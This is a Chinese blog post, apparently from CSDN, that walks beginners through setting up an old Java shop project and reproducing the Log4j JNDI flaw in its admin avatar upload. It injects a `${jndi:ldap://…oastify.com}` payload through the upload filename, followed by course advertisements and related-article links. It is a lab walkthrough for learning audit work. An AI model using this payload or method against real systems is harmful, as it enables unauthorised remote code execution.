log4j代码审计漏洞复现

log4j漏洞原理及攻击流程 log4j漏洞最早出现在2021年11月24日一位阿里安全团队的员工发现的,上报到Apache之后,12月10日凌晨才被公开。该漏洞威胁等级较高。基本比肩与阿里当年的fastjson漏洞。 阅读详情

首先声明一下,这是一套老源码了,本人只是跟着网上的步骤复现了一遍,主要目的还是面向毫无基础的xd,教学简单的java站怎么自己搭建,不至于代码审计的第一步就废了,本人也是摸着石头过河的,大佬勿喷。

**####################前期环境准备#####################
**

jdk:没有jdk的小伙伴可以去oracle官网下载,最好是下载1.8的,下载后添加环境变量,cmd执行:java -version,出现如下界面就算配置好jdk了:

项目源码:https://github.com/robin-liyong/-Mini-Tmall-。解压后放入小皮根目录,修改网站根目录为源码目录:

把目录下的sql文件拖到桌面,以方便导入,在桌面打开cmd,命令行链接mysql数据库,创建数据库并导入sql文件:

执行 create database tmalldemodb;创建名为tmalldemodb的数据库

先后执行:

use tmalldemodb;

source tmalldemodb.sql;

修改源码中的数据库连接密码为自己的mysql连接密码(本人root/root),

然后本地用idea打开项目文件:

等待idea完成项目构建,加载配置,idea打开项目时会自动加载,耐心等待,加载完成后,源码目录下会生成成一个编译好的target文件:

加载完成后,idea会自动配置项目的主类并加载好,可直接运行:

查看本地ip:

访问 http://192.168.0.181:8080/tmall/,至此搭建完成

**######################漏洞复现###################
**

idea全局文件搜索logger.info:

注意originalFileName,该变量可控 ,往上看,该变量的值为

String originalFileName = file.getOriginalFilename();

可见由originalFileName的值file.getOriginalFilename()方法得来,以下是gpt的解释和代码示例:

主要方法``MultipartFile 提供了一些常用方法,用于处理上传的文件:``   ``getOriginalFilename():返回原始文件名。``getName():返回表单中参数的名称。``getContentType():返回文件的 MIME 类型。``getBytes():以字节数组的形式返回文件内容。``getInputStream():返回文件内容的输入流。``isEmpty():判断文件是否为空。``transferTo(File dest):将上传的文件写入到目标文件。``使用示例``以下是一个完整的文件上传示例,展示了如何在控制器中使用 @RequestParam MultipartFile file 接收文件,并将其保存到服务器:``   ``前端 HTML 表单``html``复制代码``<!DOCTYPE html>``<html>``<head>`    `<title>文件上传示例</title>``</head>``<body>`    `<form action="/upload" method="post" enctype="multipart/form-data">`        `<input type="file" name="file">`        `<input type="submit" value="上传">`    `</form>``</body>``</html>

file.getOriginalFilename()将会获取表单中name="file"的值,实际情况中"file"是什么值就会获取什么值,往上定位,发现该接口为管理员头像上传接口

接口路由:admin/uploadAdminHeadImage,访问这个接口上传头像需要登录后台,连接一下数据库查看后台密码:

拼接路由访问后台:

三个管理员账号密码随便选一个登陆,这里我用的第一个:1209577113/xq,来到上传头像处上传头像并抓包(记得把插件、bp的抓包端口改成8080以外的端口,8080端口已经被项目占用,无法抓包):

file.getOriginalFilename()将会获取上图表单中标记的filename的值并赋值给变量originalFileName,既然如此,将"test.png"改成log4j的验证POC即可:

用bp自带的dnslog获取子域名,POC验证:${jndi:ldap://9u4h9dv6vmqrghww86xwpfdzkqqge5.oastify.com}

验证成功!
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

网络安全 log4j漏洞复现 log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。 阅读详情

相关推荐

java之log4j反序列化

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回的Class类。

weixin_45653478的博客 1415

Struts2 CVE-2021-44228 log4j POC

随着log4j漏洞的出现,众多框架受到影响,大家都在研究不同框架的利用点在何处,下面总结的是Struts2目前的poc。

不光要学,知识要能说出口 3145

商城系统审计代码审计

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地 是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护 进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我 们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置 文件来灵活地进行配置,而不需要修改应用的代码。

weixin_45653478的博客 1105

Java代码审计——apache log4j 远程命令执行(CVE-2021-44228)

0x00 前言 反序列化总纲 本来是快乐游戏时间的,但是突然就出来这个洞了= =,当然这个突然用的比较夸张了,修复时间应该是在五天前了。 本着学习的态度来进行一下简单的分析。 0x01 环境 首先是pom <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>lo

王嘟嘟的博客 2460

Log4j漏洞分析与代码审计

为了保护应用程序免受此漏洞的影响,我们应该及时更新Log4j框架并应用安全补丁,同时采取适当的安全措施,如输入验证和过滤、最小权限原则、安全配置以及监控和日志审计。Log4j漏洞的根本原因是在处理用户提供的日志消息时,Log4j使用了一个名为JNDI(Java Naming and Directory Interface)的功能,用于解析和查找命名和目录服务。监控应用程序的日志记录,关注异常日志和不寻常的活动,并采取适当的措施进行调查和应对。确保只允许信任的JNDI引用,并限制对外部资源的访问。

syntax_loop446的博客 294

GNSS数据资源全解析:从DCB到BSX文件的下载与应用指南

本文系统解析了GNSS数据处理所需的核心数据资源,包括DCB、BSX、SP3、CLK等关键文件的官方下载路径与应用方法。详细介绍了CDDIS、武汉大学镜像站等权威数据源,并提供了从数据下载到实际应用的完整指南,帮助用户高效获取GNSS数据,提升精密定位处理效率。

weixin_29246195的博客 141

CNVD证书挖掘:20大技巧,一网打尽安全漏洞!

在网络安全领域,CNVD(国家信息安全漏洞共享平台)证书不仅是技术能力的证明,更是求职、晋升的“硬通货”。本文将从证书获取条件、20种实战方法到核心经验,全方位解析如何高效挖掘CNVD证书。

chengxuyuanyy的博客 290

使用网分对晶体ESR/L1/C1/C0进行测量计算

Use R&amp;S Vector Network Analyzer test XTAL ESR/L1/C1/C0 測量方法:使用儀器的Port1端口,測量XTAL的S11,通過諧振的參數計算出ESR/L1/C1/C0的值。 實際晶體的等效模型:通常方便晶體分析,使用下圖(b)的等效模型,但實際測量發現晶體存在多個串聯諧振點,實際等效模型更接近(c)。 儀器測量到的S11,其中M...

qq_39138630的博客 2085

[CVE-2021-45105] Apache Log4j2 漏洞复现与原理详细分析

2021年12月9日,各大公司都被一个核弹级漏洞惊醒了,该漏洞一旦被攻击者利用就会造成及其严重的影响。该漏洞甚至被认为可能是“计算机历史上最大的漏洞”。

Specif1c的博客 2805

qupath再度更新:使用WSInfer进行深度学习

我们在下面提供了一个示例,说明如何使用 WSInfer 创建 WSI 中肿瘤和肿瘤浸润淋巴细胞 (TIL) 的空间图谱,这些图谱被认为在几种癌症中既有预后又有预测意义6,10,11,12.由于 WSI 非常大,因此它们通常被分解为补丁,以使分析变得可行。补丁分类的输出通常是空间分类地图,通常可以跨 WSI 集成,以创建表示该幻灯片的诊断、预测或“分数”的单个输出。在当前的实施中,我们专注于斑块分类的通用任务,该任务广泛用于广泛的病理学应用,具有促进诊断、预后或预测功能的深度学习模型。

hx2024的博客 2200

高通9008模式隐藏技巧:不拆机用ADB命令+Diag协议进入EDL

本文深入解析高通EDL模式(紧急下载模式)的技术原理与实战应用,详细介绍了通过ADB命令和Diag协议无需拆机进入EDL的方法。涵盖硬件/软件触发方案、跨平台工具配置、Firehose协议解析及设备救砖流程,为开发者提供从基础到进阶的完整指南。

weixin_29191761的博客 1125

网络安全就业方向、学习路线、避坑指南,一篇讲完

这份资料专门为零基础转行设计,19 大核心模块从 Linux系统、Python 基础、HTTP协议等地基知识到 Web 渗透、代码审计、CTF 实战层层递进,攻防结合的讲解方式让新手轻松上手,真实实战案例 + 落地脚本直接对标企业岗位需求,帮你快速搭建转行核心技能体系!这份 《网络攻防知识库》专为转行党量身打造!3⃣️ 安全工具:Nmap、Burp Suite、Metasploit等;1⃣️ 网络基础:TCP/IP协议、HTTP/HTTPS、DNS等;2⃣️ 常见漏洞原理:SQL注入、XSS、CSRF等;

ice829的博客 199

基于容积卡尔曼滤波的弹目相对姿态估计算法及其在导弹末端制导中的应用

本文针对导弹末端制导中的强非线性姿态估计问题,提出了一种基于容积卡尔曼滤波(CKF)的弹目相对姿态估计算法。通过建立包含视线角、角速率和相对距离的6维状态模型,利用三阶球面-相径容积准则精确逼近非线性状态分布,避免了传统EKF的线性化误差。在MATLAB/Simulink仿真中,CKF表现出比EKF更高的视线角速率估计精度和更快的收敛速度,最终显著减小了脱靶量,验证了其在提升导弹末端制导精度方面的有效性。该算法计算复杂度适中,适合工程实现,为高精度非线性姿态估计提供了新思路。

AI的内部世界的博客 105

网络安全实战项目推荐:适合练手的 5 个项目

实战项目是网络安全学习的 “桥梁”,能帮你将理论转化为能力,积累简历可写的项目经验。建议按 “基础→进阶→高阶” 的顺序完成项目,每个项目后整理操作文档和总结,明确学习收获。通过 5 个项目的练习,可具备入门级网络安全岗位的实战能力,大幅提升就业竞争力。网络安全产业就像一个江湖,各色人等聚集。

2402_84205067的博客 936

我的GIT练习ONE

Git 是一个分布式版本控制及源代码管理工具;Git 可以为你的项目保存若干快照,以此来对整个项目进行版本管理每一次的练习,都是对自身知识的巩固,以及对自身知识的一个测试。

是个非常热爱生活、乐观、奋斗、努力的逗比青年 8869

彻底解决JDK安装包点击后无反应

jdk双击无法安装,jdk双击没反应,jdk安装包双击后没反应。

renkai721的专栏 8939

Log4j2远程代码执行漏洞复现

二、查看环境信息 docker-compose ps。

Jz031212的博客 147

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

网络安全实操练手:5 个高性价比实战项目推荐

实战项目是网络安全学习的 “桥梁”,能帮你将理论转化为能力,积累简历可写的项目经验。建议按 “基础→进阶→高阶” 的顺序完成项目,每个项目后整理操作文档和总结,明确学习收获。通过 5 个项目的练习,可具备入门级网络安全岗位的实战能力,大幅提升就业竞争力。互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

zz96405784848的博客 857

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

从Log4j漏洞实战解析代码审计:原理、定位与修复

在软件开发中,代码审计是保障应用安全的核心环节,其本质在于识别并修复因设计缺陷或错误信任导致的安全漏洞。这类漏洞的根源往往在于混淆了数据与代码的边界,当不可信的用户输入未经充分验证便传递给敏感函数时,就可能引发严重的远程代码执行(RCE)风险。其技术价值在于主动发现潜在威胁,防患于未然,广泛应用于金融、互联网等高安全要求领域。以Log4j2漏洞(CVE-2021-44228)为例,它正是由于日志组件错误地解析并执行了用户输入中的JNDI查找指令,导致了RCE。理解此类漏洞的触发原理与审计方法,能有效提升对*

weixin_30319153的博客 321

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

JAVA代码审计学习心得

JAVA代码审计学习心得出品|MS08067实验室(www.ms08067.com)本文作者:LightHouseZ(Ms08067代码审计班第6期成员最近刚学完MS08067代码审计班的课程,收获了不少代审的思路和知识,接下来谈谈自己的收获和感受。目录Catalog一、报班原因二、真实感受与收获三、实际案例收获分享 1.案例1 1)案例介绍 2...

Ms08067安全实验室 785
上一篇: 对零基础想转行网络安全同学的一点建议
下一篇: 如果想转行AI领域却不知如何开始?可以试试这五步
网络安全大白
博客等级 码龄5年 7305粉丝 698原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值